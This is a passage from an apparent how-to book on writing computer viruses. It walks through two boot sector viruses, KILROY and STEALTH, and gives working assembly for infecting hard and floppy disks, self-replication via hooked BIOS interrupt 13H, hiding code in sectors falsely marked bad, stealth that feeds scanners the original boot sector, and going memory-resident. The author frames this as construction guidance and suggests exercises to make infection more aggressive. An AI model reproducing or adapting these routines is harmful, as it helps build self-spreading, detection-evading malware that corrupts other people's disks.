Case Number Three: A Simple Boot Sector Virus 71
may only be a dozen free bytes available for ``other code''---and the
layout of the boot sector will vary with different operating systems.
To deal with these variations in such a limited amount of space
would take a miracle program. Instead, we will design a whole,
functional boot sector.
The Necessary Components of a Boot Sector
To write a boot sector that can both boot up the DOS
operating system and reproduce means we are going to have to trim
down on some of what a normal boot sector does. The KILROY
virus won't display the polite little error messages like ``NonSys
tem disk or disk error / Replace and strike any key when ready''
when your disk isn't configured properly. Instead, it will be real
rude to the user if everything isn't just right. That will make room
for the code necessary to carry out covert operations.
To start with, let's take a look at the basic structure of a
boot sector. The first bytes in the sector are always a jump instruc
tion to the real start of the program, followed by a bunch of data
about the disk on which this boot sector resides. In general, this
data changes from disk type to disk type. All 360K disks will have
the same data, but that will differ from 1.2M drives and hard drives,
etc. The standard data for the start of the boot sector is described
in Table 2. It consists of a total of 43 bytes of information. Most of
this information is required in order for DOS and the BIOS to use
the disk drive and it should never be changed inadvertently. The one
exception is the DOS_ID field. This is simply eight bytes to put a
name in to identify the boot sector. We'll put ``Kilroy'' there.
Right after the jump instruction, the boot sector sets up the
stack. Next, it sets up the Disk Parameter Table also known as the
Disk Base Table. This is just a table of parameters which the BIOS
uses to control the disk drive (Table 3) through the disk drive
controller (a chip on the controller card). More information on these
parameters can be found in Peter Norton's Programmer's Guide to
the IBM PC, and similar books. When the boot sector is loaded, the
BIOS has already set up a default table, and put a pointer to it at
the address 0000:0078H (interrupt 1E Hex). The boot sector re
72 The Little Black Book of Computer Viruses
Name Position Size Description
DOS_ID 7C03 8 Bytes ID of Format program
SEC_SIZE 7C0B 2 Sector size, in bytes
SECS_PER_CLUST 7C0D 1 Number of sectors per cluster
FAT_START 7C0E 2 Starting sector for the 1st FAT
FAT_COUNT 7C10 1 Number of FATs on the disk
ROOT_ENTRIES 7C11 2 Number of entries in root directory
SEC_COUNT 7C13 2 Number of sectors on this disk
DISK_ID 7C14 1 Disk ID (FD Hex = 360K, etc.)
SECS_PER_FAT 7C15 2 Number of sectors in a FAT table
SECS_PER_TRK 7C18 2 Number of sectors on a track
HEADS 7C1A 2 Number of heads (sides) on disk
HIDDEN_SECS 7C1C 2 Number of hidden sectors
Table 2: The Boot Sector data.
Offset Description
0 Specify Byte 1: head unload time, step rate time
1 Specify Byte 2: head load time, DMA mode
2 Time before turning motor off, in clock ticks
3 Bytes per sector (0=128, 1=256, 2=512, 3=1024)
4 Last sector number on a track
5 Gap length between sectors for read/write
6 Data transfer length (set to FF Hex)
7 Gap length between sectors for formatting
8 Value stored in each byte when a track is formatted
9 Head settle time, in milliseconds
A Motor startup time, in 1/8 second units
Table 3: The Disk Parameter Table.
Case Number Three: A Simple Boot Sector Virus 73
places this table with its own, tailored for the particular disk. This
is standard practice, although in many cases the BIOS table is
perfectly adequate to access the disk.
Rather than simply changing the address of the interrupt
1EH vector, the boot sector goes through a more complex procedure
that allows the table to be built both from the data in the boot sector
and the data set up by the BIOS. It does this by locating the BIOS
default table and reading it byte by byte, along with a table stored
in the boot sector. If the boot sector's table contains a zero in any
given byte, that byte is replaced with the corresponding byte from
the BIOS'table, otherwise the byte is left alone. Once the new table
is built inside the boot sector, the boot sector changes interrupt
vector 1EH to point to it. Then it resets the disk drive through BIOS
interrupt 13H, function 0, using the new parameter table.
The next step, locating the system files, is done by finding
the start of the root directory on disk and looking at it. The disk data
at the start of the boot sector has all the information we need to
calculate where the root directory starts. Specifically,
FRDS (First root directory sector) = FAT_COUNT*SECS_PER_FAT
+ HIDDEN_SECS + FAT_START
so we can calculate the sector number and read it into memory at
0000:0500H. From there, the boot sector looks at the first two
directory entries on disk. These are just 32 byte records, the first
eleven bytes of which is the file name. One can easily compare these
eleven bytes with file names stored in the boot record. Typical code
for this whole operation looks like this:
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read buffer @ 0:0500
POP AX ;and go convert sequential
CALL CONVERT ;sector number to bios data
74 The Little Black Book of Computer Viruses
MOV AL,1 ;prepare for a 1 sector disk read
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
REPZ CMPSB
ERROR2:
JNZ ERROR2 ;not the same an error, so stop
Once the boot sector has verified that the system files are
on disk, it tries to load the first file. It assumes that the first file is
located at the very start of the data area on disk, in one contiguous
block. So to load it, the boot sector calculates where the start of the
data area is,
FDS (First Data Sector) = FRDS
+ [(32*ROOT_ENTRIES) + SEC_SIZE 1]/SEC_SIZE
and the size of the file in sectors. The file size in bytes is stored at
the offset 1CH from the start of the directory entry at 0000:0500H.
The number of sectors to load is at most
SIZE IN SECTORS = (SIZE_IN_BYTES/SEC_SIZE) + 1
(Note that the size of this file is always less than 29K or it cannot
be loaded.) The file is loaded at 0000:0700H. Then the boot sector
sets up some parameters for that system file in its registers, and
Position Size Description
00 Hex 8 Bytes File Name (ASCII, space filled)
08 3 File Name Extension (ASCII, space filled)
0B 1 File Attribute
0C 10 Reserved, Zero filled
16 2 Time file last written to
18 2 Date file last written to
1A 2 Starting FAT entry
1C 4 File size(long integer)
Table 4: The format of a directory entry on disk.
Case Number Three: A Simple Boot Sector Virus 75
transfers control to it. From there the operating system takes over
the computer, and eventually the boot sector's image in memory is
overwritten by other programs.
Gutting Out the Boot Sector
The first step in creating a one sector virus is to write some
code to perform all of the basic boot sector functions which is as
codeefficient as possible. All of the functionality discussed above
is needed, but it's not what we're really interested in. So we will
strip out all the fancy bells and whistles that are typically included
in a boot sector. First, we want to do an absolute minimum of error
handling. The usual boot sector displays several error messages to
help the user to try to remedy a failure. Our boot sector virus won't
be polite. It doesn't really care what the user does when the boot
up fails, so if something goes wrong, it will just stop. Whoever is
using the computer will get the idea that something is wrong and
try a different disk anyhow. This rudeness eliminates the need for
error message strings, and the code required to display them. That
can save up to a hundred bytes.
The second point of rudeness we will incorporate into our
boot sector virus is that it will only check the disk for the first system
file and load it. Rarely is one system file present and not the other,
since both DOS commands that put them on a disk (FORMAT and
SYS) put them there together. If for some reason the second file
does not exist, our boot sector will load and execute the first one,
rather than displaying an error message. The first system program
will just bomb then when it goes to look for the second file and it's
not there. The result is practically the same. Trimming the boot
sector in this fashion makes it necessary to search for only two files
instead of four, and saves about 60 bytes.
Two files instead of four? Didn't I just say that the boot
sector only looks for the two system files to begin with? True, most
boot sectors do, but a viral boot sector must be different. The usual
boot sector is really part of an operating system, but the viral boot
sector is not. It will typically jump from disk to disk, and it will not
know what operating system is on that disk. (And there's not
76 The Little Black Book of Computer Viruses
enough room in one sector to put in code that could figure it out
and make an intelligent choice.) So our solution will be to assume
that the operating system could be either MSDOS or PCDOS and
nothing else. That means we must look for system files for both
MSDOS or PCDOS, four files. Limiting the search to the first
system file means that we only have to find IO.SYS or
IBMBIO.COM.
Anyhow, incorporating all of these shortcuts into a boot
sector results in 339 bytes of code, which leaves 173 bytes for the
search and copy routines. That is more than enough room. The
listing for this basic (nonviral) boot sector, BOOT.ASM, is pre
sented in Appendix C.
The Search and Copy Mechanism
Ok, let's breathe some life into this boot sector. Doing that
is easy because the boot sector is such a simple animal. Since code
size is a primary concern, the search and copy routines are com
bined in KILROY to save space.
First, the copy mechanism must determine where it came
from. The third to the last byte in the boot sector will be set up by
the virus with that information. If the boot sector came from drive
A, that byte will be zero; if it came from drive C, that byte will be
80H. It cannot come from any other drive since a PC boots only
from drive A or C.
Once KILROY knows where it is located, it can decide
where to look for other boot sectors to infect. Namely, if it is from
drive A, it can look for drive C (the hard disk) and infect it. If there
is no drive C, it can look for a second floppy drive, B:, to infect.
(There is never any point in trying to infect A. If the drive door on
A: were closed, so it could be infected, then the BIOS would have
loaded the boot sector from there instead of C:, so drive A would
already be infected.)
One complication in infecting a hard drive is that the virus
cannot tell where the DOS boot sector is located without loading
the partition boot sector (at Track 0, Head 0, Sector 1) and reading
the information in it. There is not room to do that in such a simple
Case Number Three: A Simple Boot Sector Virus 77
virus, so we just guess instead. We guess that the DOS boot sector
is located at Track 0, Head 1, Sector 1, which will normally be the
first sector in the first partition. We can check the last two bytes in
that sector to make sure they are 55H AAH. If they are, chances are
good that we have found the DOS boot sector. In the relatively rare
cases when those bytes belong to some other boot sector, for a
different operating system, tough luck. The virus will crash the disk.
If the ID bytes 55H AAH are not found in an infection attempt, the
virus will be polite and forget about trying to infect the hard drive.
It will go for the second floppy instead.
Once a disk has been found to infect, the copy mechanism
is trivial. All one need do is:
1) Read the boot sector from the disk to infect into a data
area.
2) Copy the viral boot sector into this data area, except
the disk data at the start of the sector, which is depend
ent on the drive.
3) Write the infected sector back out to the disk which is
being infected.
That's it. The code for the search/copy mechanism looks like this:
SPREAD:
MOV BX,OFFSET DISK_BUF ;read other boot sectors to here
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if it's C, go try to spread to B
MOV DX,180H ;if it's A, try to spread to C
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
JZ SPREAD2 ;none try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive B
CMP WORD PTR [NEW_ID],0AA55H ;make sure it's really a boot sec
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;error writing to C:, try B:
JMP SHORT LOOK_SYS ;no error, look for system files
SPREAD2:
MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=# of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
78 The Little Black Book of Computer Viruses
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just exit
CMP WORD PTR [NEW_ID],0AA55H ;make sure it's really a boot sec
JNZ LOOK_SYS ;no, don't attempt reproduction
CALL MOVE_DATA ;yes, move this boot sec in place
MOV DX,1
MOV AX,301H ;and write this boot sector to B:
MOV CX,1
INT 13H
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;move all of the boot sector code
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL OFFSET BOOTSEC)
MOV CX,OFFSET DRIVE OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;move initial jmp and the sec ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
We place this code in the boot sector after the Disk Parameter Table
has been set up, and before the system files are located and loaded.
Taming the Virus
The KILROY virus is very subtle. The average user may
never see a clue that it is there. Since there is enough room left, let
us be kind, and put in some code to display the message ``Kilroy
was here!'' at boot time. Since DOS hasn't been loaded yet, we can't
use DOS to display that message. Instead we use BIOS Interrupt
10H, Function 0EH, and apply it repeatedly, as follows:
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message up
DM1:
MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH
LODSB ;get character to display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
There. That will tame the virus a bit. Besides displaying a
message, the virus can be noticed as it searches for drives to infect,
especially if you have a second floppy. If your hard disk is infected,
or if you have no hard disk, you will notice that the second floppy
lights up for a second or two before your machine boots up. It didn't
Case Number Three: A Simple Boot Sector Virus 79
used to do that. This is the virus going out to look for a disk in that
drive to infect. If there is no disk in the drive, the Interrupt 13H call
will return an error and the boot sector will load the operating
system and function normally.
This is a pretty rudimentary virus. It can make mistakes
when infecting the hard drive and miss the boot sector. It can only
replicate when the machine boots up. And it can get stuck in places
where it cannot replicate any further (for example, on a system with
only one floppy disk and a hard disk). Still, it will do it's job, and
travel all around the world if you're not careful with it.
80 The Little Black Book of Computer Viruses
Case Number Four:
A Sophisticated Boot Sector Virus
With the basics of boot sectors behind us, let's explore a
sophisticated boot sector virus that will overcome the rather glaring
limitations of the KILROY virus. Specifically, let's look at a virus
which will carefully hide itself on both floppy disks and hard disks,
and will infect new disks very efficiently, rather than just at boot
time.
Such a virus will require more than one sector of code, so
we will be faced with hiding multiple sectors on disk and loading
them at boot time. To do this in such a way that no other data on a
disk is destroyed, while keeping those sectors of virus code well
hidden, will require some little known tricks. Additionally, if the
virus is to infect other disks after bootup, it must leave at least a
portion of itself memoryresident. The mechanism for making the
virus memory resident cannot take advantage of the DOS Keep
function (Function 31H) like typical TSR programs. The virus must
go resident before DOS is even loaded, and it must fool DOS so
DOS doesn't just write over the virus code when it does get loaded.
This requires some more tricks, the exploration of which will be
the subject of this chapter.
Basic Structure of the Virus
Our new boot sector virus, named STEALTH, will have
three parts. First, there is a new boot sector, called the viral boot
sector. This is the sector of code that will replace the original boot
sector at Track 0, Head 0, Sector 1. Secondly, there is the main body
of the virus, which consists of several sectors of code that will be
hidden on the disk. Thirdly, there is the old boot sector, which will
be incorporated into the virus.
When the viral boot sector is loaded and executed at
startup, it will go out to disk and load the main body of the virus
and the old boot sector. The main body of the virus will execute,
possibly infecting the hard disk, and installing itself in memory (as
we will discuss in a moment) so it can infect other disks later. Then
it will copy the original boot sector over the viral boot sector at
0000:7C00H, and execute it. The last step allows the disk to boot
up in a normal fashion without having to bother writing code for
startup. That's important, because STEALTH will infect the parti
tion boot sector on hard drives. The code in that sector is completely
different from DOS's boot sector. Since STEALTH saves the
original boot sector, it will not have to go around carrying two boot
sectors with it, one for floppies and one for hard disks. Instead, it
simply gobbles up the code that's already there and turns it to its
own purposes. This strategy provides the added benefit that the
STEALTH virus will be completely operating system independent.
The Copy Mechanism
The biggest part of designing the copy mechanism is
deciding how to hide the virus on disk, so it does not interfere with
the normal operation of the computer (unless it wants to).
Before you hide anything, you'd better know how big it is.
It's one matter to hide a key to the house, and quite another to hide
the house itself. So before we start deciding how to hide STEALTH,
it is important to know about how big it will be. Based on the size
82 The Little Black Book of Computer Viruses
of the INTRUDER virus in Chapter 4, we might imagine
STEALTH will require five or ten sectors. With a little hindsight,
it turns out that six will be sufficient. So we need a method of
quickly and effectively hiding 6 sectors on each of the various types
of floppy disks, and on hard disks of all possible types.
It would be wonderful if we could make the virus code
totally invisible to every user. Of course, that isn't possible, al
though we can come very close. One tricky way of doing it is to
store the data on disk in an area that is completely outside of
anything that DOS (or other operating systems) can understand. For
floppy disks, this would mean inventing a nonstandard disk format
that could contain the DOS format, and also provide some extra
room to hide the virus code in. DOS could use the standard parts
of the disk the way it always does, and the nonstandard parts will
be invisible to it. Unless someone writes a special program that a)
performs direct calls to the BIOS disk functions and b) knows
exactly where to look, the virus code will be hidden on the disk.
This approach, although problematic for floppies, will prove useful
for hiding the virus on the hard disk.
In the case of floppies, an alternative is to tell DOS to
reserve a certain area of the disk and stay away from it. Then the
virus can put itself in that area and be sure that DOS will not see it
or overwrite it. This can be accomplished by manipulating the File
Attribute Table. This method was originally employed by the
Pakistani Brain virus, which was written circa 1986. Our
STEALTH virus will use a variant of this method here to handle
360 kilobyte and 1.2 megabyte disk formats for 5 1/4" diskettes,
and 720 kilobyte and 1.44 megabyte 3 1/2" diskette formats.
Let's examine the 3 1/2" 720 kilobyte diskette format in
detail to see how STEALTH approaches hiding itself. This kind of
diskette has 80 tracks, two sides, and nine sectors per track. The
virus will hide the body of its code in Track 79, Side 1, Sectors 4
through 9. Those are the last six sectors on the disk, and conse
quently, the sectors least likely to contain data. STEALTH puts the
main body of its code in sectors 4 through 8, and hides the original
boot sector in sector 9. However, since DOS normally uses those
sectors, the virus will be overwritten unless it has a way of telling
Case Number Four: A Sophisticated Boot Sector Virus 83
DOS to stay out. Fortunately, that can be done by modifying the
FAT table to tell DOS that those sectors on the disk are bad.
DOS organizes a diskette into clusters, which consist of
one or more contiguous sectors. Each cluster will have an entry
corresponding to it in the FAT table, which tells DOS how that
cluster is being used. The FAT table consists of an array of 12 bit
entries, with as many entries as there are clusters on the diskette. If
a cluster is empty, the corresponding FAT entry is 0. If it is in the
middle of a file, the FAT entry is a pointer to the next cluster in the
file; if it is at the end of a file, the FAT entry is FF8 through FFF. A
cluster may be marked as bad (to signal DOS that it could not be
formatted properly) by placing an FF7 Hex in its FAT entry.
When DOS sees an FF7 in a FAT entry, it does not use the
sectors in that cluster for data storage. DOS itself never checks
those clusters to see if they are bad, once they are marked bad. Only
the FORMAT program marks clusters bad when it is in the process
of formatting a disk. From there on out, they are never touched by
DOS. Thus a virus can mark some clusters bad, even though they're
really perfectly fine, and then go hide there, assured that DOS will
leave it alone. On a 720 kilobyte diskette, there are two sectors in
each cluster. Thus, by marking the last three clusters on the disk as
bad in the two FAT tables, the virus can preserve six sectors at the
end of the diskette.
In the event that the diskette is full of data, the virus should
ideally be polite, and avoid overwriting anything stored in the last
clusters. This is easily accomplished by checking the FAT first, to
see if anything is there before infecting the disk. Likewise, if for
some reason one of those sectors is really bad, the virus should stop
its attempt to copy itself to the diskette gracefully. If it does not, the
diskette could end up being a useless mess (especially if it is a boot
disk) and it wouldn't even contain a working copy of the virus. If
there is a problem at any stage of the infection process, the virus
will simply abort, and no permanent damage will be done to the
disk.
On the other hand, we could design the virus to be more
agressive. It might be somewhat more successful (from a neodar
winian point of view) if it infects the diskette even when the disk
is full, and it will have to overwrite a file to infect the disk
84 The Little Black Book of Computer Viruses
successfully. While we do not implement such an approach here, it
would actually be easier than being polite.
Similar strategies are employed to infect 360 kilobyte and
1.2 megabyte 5 1/4" diskettes, and 1.44 megabyte 3 1/2" diskettes,
as explained in detail in the code in Appendix E. There do exist
other diskette formats, such as 320 kilobyte 5 1/4", which the virus
will simply stay away from. If STEALTH encounters anything
nonstandard, it just won't infect the diskette. It will have plenty of
formats that it can infect, and obsolete or nonstandard formats are
relatively rare. Failing to infect the oneinathousand odd ball is
no great loss, and it saves a lot of code. As an exercise, you may
want to modify the virus so it can infect some different formats.
Hiding data on a hard drive is a different matter. There are
so many different drives on the market that it would be a major
effort for STEALTH to adapt to each disk drive separately. Fortu
nately, hard drives are not set up to be 100% occupied by DOS.
There are nonDOS areas on every disk. In particular, the first boot
sector, which contains the partition table, is not a part of DOS.
Instead, DOS has a partition assigned to it, for its own use. Any
other area on disk does not belong to DOS.
As it turns out, finding a single area on any hard disk that
does not belong to DOS, is not too difficult. If you take the DOS
program FDISK and play with it a little, creating partitions on a
hard drive, you'll soon discover something very interesting: Al
though the first boot sector is located at Track 0, Head 0, Sector 1,
FDISK (for all the versions I've tested) does not place the start of
the first partition at Track 0, Head 0, Sector 2. Instead, it always
starts at Track 0, Head 1, Sector 1. That means that all of Track 0,
Head 0 (except the first sector) is free space. Even the smallest ten
megabyte disk has 17 sectors per track for each head. That is plenty
of room to hide the virus in. So in one fell swoop, we have a strategy
to place the virus on any hard disk. (By the way, it's only fair to
mention that some low level hard disk formatting programs do use
those sectors to store information in. However, letting the virus
overwrite them does not hurt anything at all.)
Once a strategy for hiding the virus has been developed,
the copy mechanism follows quite naturally. To infect a disk, the
virus must:
Case Number Four: A Sophisticated Boot Sector Virus 85
1) Determine which type of disk it is going to infect, a
hard disk or one of the four floppy disk types.
2) Determine whether that disk is already infected, or if
there is no room for the virus. If so, the copy mecha
nism should not attempt to infect the disk.
3) Update the FAT tables (for floppies) to indicate that
the sectors where the virus is hidden are bad sectors.
4) Move all the virus code to the hidden area on disk.
5) Read the original boot sector from the disk and write
it back out to the hidden area in the sector just after
the virus code.
6) Take the disk parameter data from the original boot
sector (and the partition information for hard disks)
and copy it into the viral boot sector. Write this new
boot sector to disk as the boot sector at Track 0, Head
0, Sector 1.
In the code for STEALTH, the copy mechanism is broken
up into several parts. The two main parts are routines named
INFECT_HARD, wh i ch i n fec t s t he ha rd d i sk , and IN
FECT_FLOPPY, which infects all types of floppy drives. The
INFECT_FLOPPY routine first determines which type of floppy
drive it is dealing with by reading the boot sector and looking at the
number of sectors on the drive (the variable SEC_COUNT in Table
2). If it finds a match, it calls one of the routines INFECT_360,
INFECT_720, INFECT_12M or INFECT_144M, which goes
through the details of infecting one of the particular diskette types.
All of these routines are listed in Appendix E.
The Search Mechanism
Searching for uninfected disks is not very difficult. We
could put an ID byte in the viral boot sector so when the virus reads
the boot sector on a disk and finds the ID, it knows the disk is
infected. Otherwise it can infect the disk. The STEALTH virus uses
its own code as an ID. It reads the boot sector and compares the
86 The Little Black Book of Computer Viruses
first 30 bytes of code (starting after the boot sector data area) with
the viral boot sector. If they don't match, the disk is ripe for
infection.
The code for a compare like this is incorporated into the
routine IS_VBS:
IS_VBS:
push si ;save these
push di
cld
mov di,OFFSET BOOT ;set up for a compare
mov si,OFFSET SCRATCHBUF+(OFFSET BOOTOFFSET BOOT_START)
mov cx,15
repz cmpsw ;compare 30 bytes
pop di ;restore these
pop si
ret ;return with z properly set
which returns a z flag if the disk is infected, and nz if it is not. BOOT
is the label for the start of the code in the boot sector.
BOOT_START is the beginning of the boot sector at 7C00H.
IS_VBS is called only after a boot sector is read from the disk by
the GET_BOOT_SEC routine into the scratch data area
SCRATCHBUF. The code to read the boot sector is:
GET_BOOT_SEC:
push ax
mov bx,OFFSET SCRATCHBUF ;buffer for boot sec
mov dl,al ;drive to read from
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,2 ;BIOS read function
int 13H ;go do it
pop ax
ret
which reads the boot sector from the drive specified in al.
So far, fairly easy. However, the more serious question in
designing a search mechanism is when to search for a disk to infect.
Infecting floppy disks and hard disks are entirely different matters.
A user with a hard disk on his machine will rarely, if ever, boot from
a floppy. Often, booting from a floppy will be an accident. For
example a user might leave a diskette in drive Awhen he goes home
from work, and then comes in the next morning and turn his
Case Number Four: A Sophisticated Boot Sector Virus 87
machine on. Normally such a disk will not be a boot disk with DOS
on it, and it will cause an error. The user will see the error and take
it out to boot from the hard drive as usual. However, the boot sector
on the floppy disk was loaded and executed. The infection mecha
nism for moving from a floppy disk to a hard disk must take
advantage of this little mistake on the user's part to be truly
effective. Thatmeanshard drives should be infected at boot time.
Then if a user leaves an infected diskette in drive A and turns on
his machine, his hard drive is infected immediately. No other
operation is necessary.
On the other hand, once a hard disk has the virus on it, it
may come into contact with dozens or even hundreds of floppy
diskettes during one day. In order to infect them, the virus must be
present in memory when the diskettes are in the floppy drive. That
means when the virus is loaded from a hard drive, it must become
memoryresident and stay there. Then, it must activate whenever
some appropriate action is performed on the floppy diskette by
other programs. In this way, the computer becomes an engine for
producing infected floppy disks.
So what action on the floppy drive should trigger the
infection sequence? It should certainly be something that happens
frequently, yet at the same time it should require a bare minimum
of extra disk activity. Both search and infection should happen
simultaneously, since floppy disks can easily be removed and
inserted. If they were not simultaneous, the search could indicate
an uninfected diskette on drive A. Then the infection routine could
attempt to infect an already infected disk if the user were given time
to change disks before the infection routine got around to doing its
job.
An ideal time to check the floppy disk for the virus is when
a particular sector is read from the disk. That can be a frequent or
rare occurrence, depending on which sector we choose as a trigger.
A sector near the end of the disk might be read only rarely, since
the disk will rarely be full. At the other extreme, if it were to trigger
when the boot sector itself is read, the disk would be infected
immediately, since the boot sector on a newly inserted floppy drive
is read before anything else is done. The STEALTH virus takes the
most agressive approach possible. It will go into the infection
88 The Little Black Book of Computer Viruses
sequence any time that the boot sector is read. That means that when
the virus is active, any time you so much as insert a floppy disk into
the drive, and do a directory listing (or any other operation that reads
the disk), it will immediately become infected. The virus must
churn out a lot of floppies in order for a few to get booted from.
To implement this search mechanism, the STEALTH virus
must intercept Interrupt 13H, the BIOS disk service, at boot time,
and then monitor it for attempts to access the boot sector. When
such an attempt is made, the virus will carefully lay it aside for a
bit while it loads the boot sector from that diskette for its own use,
checks it with IS_VBS, and possibly infects the diskette. After the
virus is finished with its business, it will resume the attempt to read
the disk and allow the program that wanted to access the boot sector
to continue its operation unhindered.
BIOS Read Sector
Request Intercepted
Head 0?
Track 0?
Hard Disk?
Sector 1?
Read Boot
Sector
Pass control to
ROM BIOS
Is Disk
Infected?
Infect
Disk
Y
Y
N
Y
N
Y
N
Y
N
N
Figure 15: Infect Logic
Case Number Four: A Sophisticated Boot Sector Virus 89
Code for this type of an interrupt trap looks like this:
INT_13H:
sti ;interrupts on
cmp ah,2 ;we want to intercept reads
jnz I13R ;pass anything else to BIOS
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;nope, let BIOS handle it
RF0: cmp dl,80H ;is it the hard disk?
jnc I13R ;yes, let BIOS handle read
cmp cl,1 ;no, floppy, is it sector 1?
jnz I13R ;no, let BIOS handle it
call CHECK_DISK ;is floppy already infected?
jz I13R ;yes so let BIOS handle it
call INFECT_FLOPPY ;else go infect the diskette
;and then let BIOS go
;do the original read
I13R: jmp DWORD PTR cs:[OLD_13H] ;BIOS Int handler
where OLD_13H is the data location where the original Interrupt
13H vector is stored before it is replaced with a vector to INT_13H.
CHECK_DISK simply calls GET_BOOT_SEC and IS_VBS after
saving all the registers (to pass them to the BIOS later to do the
originally requested read).
The AntiDetection Mechanism
TheSTEALTH virus uses some more advanced antidetec
tion logic than previous viruses we've studied. They are aimed not
only at avoiding detection by the average user, who doesn't know
computers that well, but also at avoiding detection by a user armed
with sophisticated software tools, including programs designed
specifically to look for viruses.
The main part of the STEALTH virus is already hidden on
disk in areas which the operating system thinks are unusable. On
floppy disks, only the viral boot sector is not hidden. On hard drives,
the whole virus is exposed in a way, since it is sitting on Track 0,
Head 0. However, none of those sectors are accessed by programs
or the operating system, although the FDISK program rewrites the
partition boot sector.
90 The Little Black Book of Computer Viruses
Since the virus is already intercepting Interrupt 13H to
infect disks, it is not too difficult to add a little functionality to the
viral interrupt handler to hide certain sectors from prying eyes. For
example, consider an attempt to read the boot sector on a 1.2
megabyte diskette: STEALTH traps the request to read. Instead of
just blindly servicing it, the virus first reads the boot sector into its
own buffer. There, it checks to see if this sector is the viral boot
sector. If not, it allows the caller to read the real boot sector. On the
other hand, if the real boot sector belongs to STEALTH, it will read
the old boot sector from Track 79, Head 1, Sector 15, and pass that
to the caller instead of the viral boot sector. In this way, the viral
boot sector will be invisible to any program that uses either DOS
or BIOS to read the disk (and the exceptions to that are pretty rare),
provided the virus is in memory. In the same way, the BIOS write
BIOS Read Sector
Request Intercepted
Head 0?
Track 0?
Y
Sector 0?
N
Read Boot Sec
Is Disk
Infected?
N
Y
N
N
Y
Pass Control
to ROM BIOS
Hard Disk?
Move dummy
data to es:bx
Infect Disk
Sec 27?
Y
N
Y
N
Read Old Boot Sector from
Hidden Area on disk
Move Old Boot Sector to
es:bx specified by caller
Y
Return to
calling routine
Figure 16: Viral Read Logic.
Case Number Four: A Sophisticated Boot Sector Virus 91
function can be redirected to keep away from the viral boot sector,
redirecting any attempts to write there to the old sector.
In addition to hiding the boot sector, one can hide the rest
of the virus from any attempts to access it through Interrupt 13H.
On hard drives, STEALTH does not allow one to read or write to
sectors 2 through 7 on Track 0, Head 0, because the virus code is
stored there. It fools the program making a read attempt by return
ing a data block of zeros, It fools the program trying to write those
sectors by returning as if it had written them, when in fact the
writing was bypassed.
Additionally, any attempt to read or write to sectors on the
floppy drive could be trapped and returned with an error (carry flag
c set). That is what one would expect, if the clusters marked as bad
in the FAT really were bad. STEALTH does not go that far though,
since DOS protects those sectors pretty well already. Youmaywant
to try to incorporate that extension in as an exercise, though.
With these antidetection procedures in place, the main
body of the virus is well hidden, and when any program looks at
the boot sector, it sees the old boot sector. The only ways to detect
the virus on a disk are (a) to write a program to access the disk with
the hardware directly, or (b) to boot from an uninfected disk and
examine the boot sector of the potentially infected disk. Of course,
the virus is not very well hidden in memory.
Installing the Virus in Memory
Before the virus passes control to the original boot sector,
which will load DOS, it must set itself up in memory somewhere
where it won't get touched. To do this outside of the control of DOS
is a bit tricky. The basic idea involved here is that DOS uses a
number stored at 0040:0013 Hex, which contains the size of avail
able memory in kilobytes. This number is set up by the BIOS before
it reads the boot sector. It may have a value ranging up to 640 =
280H. When the BIOS sets this parameter up, it looks to see how
much memory is actually installed in the computer, and reports it
here. However, something could come along before DOS loads and
change this number to a smaller value. In such a situation, DOS
92 The Little Black Book of Computer Viruses
will not use all the memory that is available in the system, but only
what it's told to use by this memory size variable. Memory above
that point will be reserved, and DOS won't touch it.
The strategy for loading STEALTH into memory is to put
it in the highest physical memory available, determined by the
memory size, as the BIOS has set it. Then STEALTH subtracts a
sufficient number of kilobytes from the memory size variable to
protect itself. In this way, that memorywill be kept away from DOS,
and used by STEALTH when Interrupt 13H is called.
The two responsibilities of the viral boot sector are to load
the main body of the virus into memory, and then to load and
execute the original boot sector. When the BIOS loads the viral boot
sector (and it loads whatever is placed at Track 0, Head 0, Sector
1), that sector first moves itself into the highest 512 bytes of
memory (within the 640 kilobyte limit). In a machine with 640K
of memory, the first unoccupied byte of memory is at A000:0000.
(A) Viral boot sector
moves itself to high
